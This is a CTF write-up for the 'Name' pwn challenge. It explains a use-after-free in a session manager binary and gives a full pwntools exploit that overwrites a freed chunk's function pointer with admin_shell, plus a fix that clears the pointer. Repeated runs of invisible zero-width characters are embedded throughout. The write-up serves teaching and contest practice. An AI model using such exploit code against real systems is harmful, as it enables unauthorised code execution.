← Back to Writeups
CUSTOMEasypwn

Name

XESXOR9/2/20264 min read
#pwn#custom#easy#dangling_pointer#function_pointer_overwrite#heap_reuse#use_after_free#linux

Name

Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: dangling_pointer, function_pointer_overwrite, heap_reuse, use_after_free

Summary

Task: Binary session manager with create/delete/feedback/greet operations where delete frees memory without clearing the pointer. Solution: Exploited a classic Use-After-Free: created a session, freed it (dangling pointer), allocated feedback of the same size (reusing the chunk), overwrote the function pointer at offset 0x18 with admin_shell address, then triggered greet to call it.

Name — Grodno New Year 2026 CTF

Challenge Info

  • Category: Pwn
  • Difficulty: Easy
  • Points: 481
  • Task ID: 392
  • Connection: nc ctf.mf.grsu.by 9070
  • Files: name (binary), libc.so.6, ld-linux-x86-64.so.2

Description

Денис всегда говорил, что прощание — не повод забывать, как тебя зовут.

Denis always said that saying goodbye is not a reason to forget your name.

Analysis

Binary Overview

The binary is a "Secure Session Manager" with 4 menu options:

=== Secure Session Manager ===
1. Create Session
2. Delete Session (Logout)
3. Leave Feedback
4. Greet User
> 

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Functions (via disassembly)

FunctionAddressDescription
create_session0x4012e0Allocates 0x20 bytes, stores function pointer at offset 0x18
delete_session0x401362Frees memory but doesn't clear current_session pointer
leave_feedback0x4013a4Allocates same size (0x20 bytes), writes user input
greet_user0x40140dCalls function pointer from current_session + 0x18
admin_shell0x401207Reads flag from FLAG_VAL env variable and prints it
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Session Structure

c
struct session {
    char name[24];           // offset 0x00 - user's name
    void (*greet_func)();    // offset 0x18 - function pointer
};

When a session is created:

  • malloc(0x20) allocates 32 bytes
  • User's name is stored at offset 0
  • normal_greet function pointer is stored at offset 0x18

The Hint

Found in binary strings:

CTF{REAL_COMBAT_UAF}

Vulnerability

Classic Use-After-Free (UAF) vulnerability:

  1. delete_session calls free() but does NOT set current_session = NULL

    • This creates a dangling pointer ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. leave_feedback allocates the same size (0x20 bytes)

    • Due to tcache/fastbin, malloc returns the same freed chunk
  3. We can overwrite the function pointer at offset 0x18 with address of admin_shell

  4. greet_user calls *(current_session + 0x18)

    • Now calls admin_shell instead of normal_greet

Vulnerable Code Pattern

c
// delete_session - BUG: doesn't clear pointer
void delete_session() {
    if (current_session) {
        free(current_session);
        // current_session = NULL;  // MISSING!
        puts("Session deleted.");
    }
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// leave_feedback - allocates same size
void leave_feedback() {
    char *feedback = malloc(0x20);  // Same size as session!
    read(0, feedback, 0x20);
}

// greet_user - uses dangling pointer
void greet_user() {
    if (current_session) {
        current_session->greet_func();  // Calls overwritten pointer!
    }
}

Solution

Exploit Strategy

1. Create session     → malloc(0x20), func_ptr = normal_greet
2. Delete session     → free(), but current_session still points to freed memory
3. Leave feedback     → malloc(0x20) returns SAME chunk, we control content
4. Greet user         → calls *(current_session + 0x18) → admin_shell!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Code

python
#!/usr/bin/env python3
from pwn import *

# Connect to target
p = remote('ctf.mf.grsu.by', 9070)
# p = process('./name')  # For local testing

# Address of admin_shell function (from disassembly)
admin_shell = 0x401207

# Step 1: Create a session
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'name:', b'test')
log.info("Created session")

# Step 2: Delete session (free but pointer not cleared - dangling pointer!)
p.sendlineafter(b'> ', b'2')
log.info("Deleted session (dangling pointer created)")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Leave feedback (reuses freed memory due to same malloc size)
# Payload: 24 bytes padding + address of admin_shell at offset 0x18
payload = b'A' * 24 + p64(admin_shell)
p.sendlineafter(b'> ', b'3')
p.sendafter(b'feedback:', payload)
log.info(f"Sent payload, overwrote function pointer with {hex(admin_shell)}")

# Step 4: Greet user (calls admin_shell instead of normal_greet)
p.sendlineafter(b'> ', b'4')
log.info("Triggered UAF - calling admin_shell")

# Receive flag
print(p.recvall(timeout=2).decode())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execution

bash
$ python3 solve.py
[+] Opening connection to ctf.mf.grsu.by on port 9070: Done
[*] Created session
[*] Deleted session (dangling pointer created)
[*] Sent payload, overwrote function pointer with 0x401207
[*] Triggered UAF - calling admin_shell
[+] Receiving all data: Done
grodno{REDACTED}

Memory Layout Visualization

Before delete_session:
┌─────────────────────────────────────┐
│ current_session → [allocated chunk] │
│                   ├─ name[24]       │
│                   └─ func_ptr → normal_greet
└─────────────────────────────────────┘
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After delete_session (BUG - dangling pointer):
┌─────────────────────────────────────┐
│ current_session → [freed chunk]     │  ← Still points here!
│                   (in tcache)       │
└─────────────────────────────────────┘

After leave_feedback (UAF exploitation):
┌─────────────────────────────────────┐
│ current_session → [reallocated]     │
│                   ├─ "AAAA..."[24]  │
│                   └─ func_ptr → admin_shell  ← Overwritten!
└─────────────────────────────────────┘

Prevention

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
// Proper delete_session implementation
void delete_session() {
    if (current_session) {
        free(current_session);
        current_session = NULL;  // Clear the pointer!
        puts("Session deleted.");
    }
}

References